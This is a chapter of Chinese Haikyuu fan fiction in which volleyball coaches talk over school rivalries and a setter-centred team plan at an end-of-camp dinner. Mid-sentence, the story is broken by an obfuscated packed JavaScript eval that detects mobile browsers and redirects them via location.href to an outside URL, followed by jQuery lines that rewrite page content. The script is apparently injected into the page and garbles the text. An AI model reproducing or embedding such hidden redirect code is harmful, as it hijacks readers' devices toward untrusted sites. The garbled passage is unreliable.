“明天就是合宿的最后一天了。”这天的练习赛结束之后,石川绫把参与合宿的所有老师和教练聚到了一起,“考虑到有些学校返程的需要,我们今天就进入合宿总结流程吧——发言顺序自选,发言内容还是和前几天一样,评价除了自己学校之外的其他学校。”
“就在这里说?”绫小路缀叶问石川绫,“会被留下来自主练习的学生听到的吧?”
“我个人倒是无所谓地点的问题……”淀川葵看了眼众人身后排球馆半掩着的大门,“但学生们要是扔下训练来偷听的话也会很让人困扰就是了。”
“还是换个地方再说吧。”千代田奏笑着提议,“反正我们也不差这一点时间——不是吗?”
“要不和男排那边的教练一起聚一下?”江之岛翼咲对众人晃了晃手机,“他们也是明天结束,趁今天聚一下怎么样?”
“可以啊。”
“我没问题。”
“让音驹的猫又教练带大家去居酒屋。”
“啊,这种散伙饭一样的场合确实适合喝点小酒呢。”
“对吧?”
“什么散伙饭……我们又不是同一届的。”
“连学校也不是同一个呢。”
“合宿散伙饭啦——你们以前参加社团合宿的时候,指导老师和教练不会在最后一天请客吗?”
“……那倒是有的。”
“我家的队员更喜欢让我请客……”
得到女排这边肯定的回复之后,男排那边很快就在猫又教练的指点下定好了聚餐的居酒屋。
“……嚯嚯,这下人就全部到齐了。”随着年龄增长,脸变得越来越像招财猫的猫又教练眯着眼笑了起来,招呼年轻的教练们,“九天合宿下来怎么样?”
“又不是以前的毛头小子,九天的合宿也就这样吧。”乌养系心叼着代替香烟的牙签,相当无所谓地回答猫又教练,但很快又露出了严肃的表情,“……但乌野这边我本来希望能靠这次合宿解决的问题反而变得更严重了。”
“尤其在没有教练管的青叶城西边上当对比就显得更惨烈了。”
“你们的二传手出问题了?”刚刚点完菜的及川真澄抬起头来,准确地从男排的教练里找到了乌养系心的身影,“我觉得我家的学生在其他位置目前应该还没有能威胁到你们『县内前二』的潜力。”
“我倒是希望你不要在这种地方这么有自信……”乌养系心在听到及川真澄的声音之后,表情略微扭曲了一下,“但,就是你猜的这样——我们这边出问题的是飞鸟。”
“春高是你们还是白鸟泽出线来着?”及川真澄眨了眨眼,向乌养系心确认。
“IH和上一届春高是他们,去年预选赛是我们赢了。”乌养系心在回答完及川真澄的问题之后,微微一顿补上乌野春高正赛的结果,“正赛的话,这次的成绩是四强——我们在半决赛的时候输给了……”
“我觉得还是白鸟泽那边的关系更大一点。”在乌养系心说完之前,及川真澄就做出了充满个人主观意愿的发言,“要是让星野教练听到了这件事的话,白鸟泽在她那边的形象就要变成二传百草枯了。”
“……这是纯粹是你的个人恩怨吧?”乌养系心吐槽。
“怎么可能。”及川真澄笑眯眯地看着乌养系心,一字一顿地回答他,“及、川、小、姐、才、不、会、因、为、高、中、三、年、都、输、给、了、白、鸟、泽、而、迁、怒、她、们、的、后、辈、哦。”
“……我觉得这已经到了能算是私仇的地步了。”枭谷的暗路监督端着啤酒杯后退几步,远离了宫城县成员这边的险恶氛围。
“青叶城西和白鸟泽过去有什么渊源吗?”
被乌养系心和及川真澄之间的对话吊起了兴趣的其他人则盯上了目前唯一没有被卷入这场对话的武田一铁,试图从他的嘴里了解宫城县高中排球界的情况。
“我也是第一次知道青叶城西的女排和白鸟泽的女排有这样的过去啊……”武田一铁借着其他教练提问的契机顺利脱离了猫又教练组织的拼酒局,“不过男排这边的情况其实也差不多——拿现任男排国家队队长牛岛若利的学生时代来说明可能比较方便大家理解。”
“虽然我也不是很清楚,但如果只是以学校之间的胜负来看的话——牛岛若利高一那年,青叶城西输给了白鸟泽;高二那年,青叶城西输给了白鸟泽;高三那年,青叶城西输给了我们。总而言之,当年的青叶城西虽然男排女排都是宫城县前四的强校,但他们都没有取得过全国大赛的出场权。”
“一次都没有。”
“笨,看来你还年轻得很呢!”猫又教练却在这时插了话进来,“我们音驹和你们乌野有垃圾场的因缘,最开始是因为我和乌养之间的约定,现在已经不单单是因为两个教练的约定而联系起来的了——所以就算我未来有一天不得不离开音驹,乌养的孙子也离开了乌野,乌野和音驹之间的联系也不会断裂。”
“但白鸟泽和青叶城西之间的联系不是这样的——如果是教练之间的因缘,应该会更持久一点……所以,应该是在场上的球员们之间的联系。”
“比如说——队长和队长。”
“如果是这样的话,我倒是想起了一件事情。”井闼山的教练拧起眉来,缓缓放下了拿在手里的酒杯,“同时期,我们这边的佐久早是认识白鸟泽的牛岛的。佐久早好像提过牛岛有非常在意的二传手,想邀请他来白鸟泽成为自己的队友来着……”
“和牛岛若利同年的青叶城西的队长是二传手。”武田一铁有些生无可恋地补充。
“这得是死仇的级别了。”淀川葵感慨。
“……同感。”吃到惊天大瓜的绫小路缀叶默默放下了手里的烧鸟串,“牛岛选手不会邀请了这位二传手三年吧?”
“保守起见也有六年——彻还在北川第一的时候就已经和他杠上了。”还在和乌养系心讨论飞鸟巡情况的及川真澄分心出来回答绫小路缀叶,“初中三年彻也是一直输给牛岛若利的。”
“……突然就能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337584|167350||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
理解及川教练对白鸟泽的态度了。”赤羽根椿微妙地和石川绫对上了目光,“只是针锋相对三年的人都变成这样了——”
“我也是六年。”及川真澄一边吃刚刚端上来的刺身,一边给自己之前的发言打上补丁,“顺带一提现任国家队女排队长的巴当年也干过同样的事情——我是说,在比赛胜利之后邀请对手来自己的队伍这种事情。”
“……你和白鸟泽有单方面的私人恩怨真的一点也不奇怪。”雪见真冬沉痛地闭上了双眼,“这完全不是你的问题——挖墙脚这种事情也不是没人干,但没人是这么干的吧!?!”
“不好说,我觉得姬路教练能干出来。”
“百合花的三河教练感觉也是能做出这种事情的人……”
“……这是毫无理由的污蔑——我们再怎么不会看气氛也不会干出这种事情的吧!?!”
“不过这样一来,我就确定了及川教练选择苍井同学作为青叶城西的王牌的理由了呢。”石川绫捧着酒杯,笑眯眯地和及川真澄对上目光,“只有及川教练以前是青叶城西的队长,才说得通在王牌的位置上做出这个选择呢。”
“对哦,及川教练为什么要选择一个纯新人来当王牌?”
所有人的注意力都被石川绫吸引了过来。
“青叶城西是以二传手为核心运转的球队——我的学生时代就是这个样子,所以我也只会这一种核心的队伍分配。”及川真澄毫不回避地直视着石川绫的双眼,“只有能够将所有队友的实力发挥到120%以上的,有着如同润滑剂和中转站一般的特性的二传手——才是最优秀的。”
“但把队友的实力发挥到超出极限的基础,只是二传手和他们之间的默契而已。”
“不是每个人都能像我们一样只要很少的一点时间就能摸清楚其他人的习惯性格等等细节,以至于几乎可以直接省略掉和队友培养默契的步骤——就算我确信我的学生可以成为这样的二传手,有个固定的搭档和她培养默契,有时也能在赛场上成为决定胜负的关键。”
“那为什么青叶同学没有?明明你给佐久间同学选择了苍井同学作为搭档。”当在场所有人都因为及川真澄斩钉截铁的话语陷入沉默的时候,乌养系心相当不会读空气地提出了这个问题,“青叶同学也是青叶城西的二传手吧?”
“……我说是因为他自己送上门来所以没有的话,你们信吗?”现场有些沉重的气氛直接被这个问题打破,于是及川真澄只能偏头去看提出问题的乌养系心,“因为我去年没找到新生,青城男排今年都差点人数不足失去参赛资格了——有青叶同学跟麓同学主动提交入部申请真是太幸运了。”
“虽然比小樱和小绘里沙之间相处的时间短了点,但从明年开始算的话,青叶同学和他的搭档也能有至少两年的相处时间——这已经足够了。”
及川真澄支着脑袋笑了起来,在微量的酒精驱使下向在场的所有人发出宣言——
“在小樱这一届毕业之前,青叶城西会拿下全国冠军。”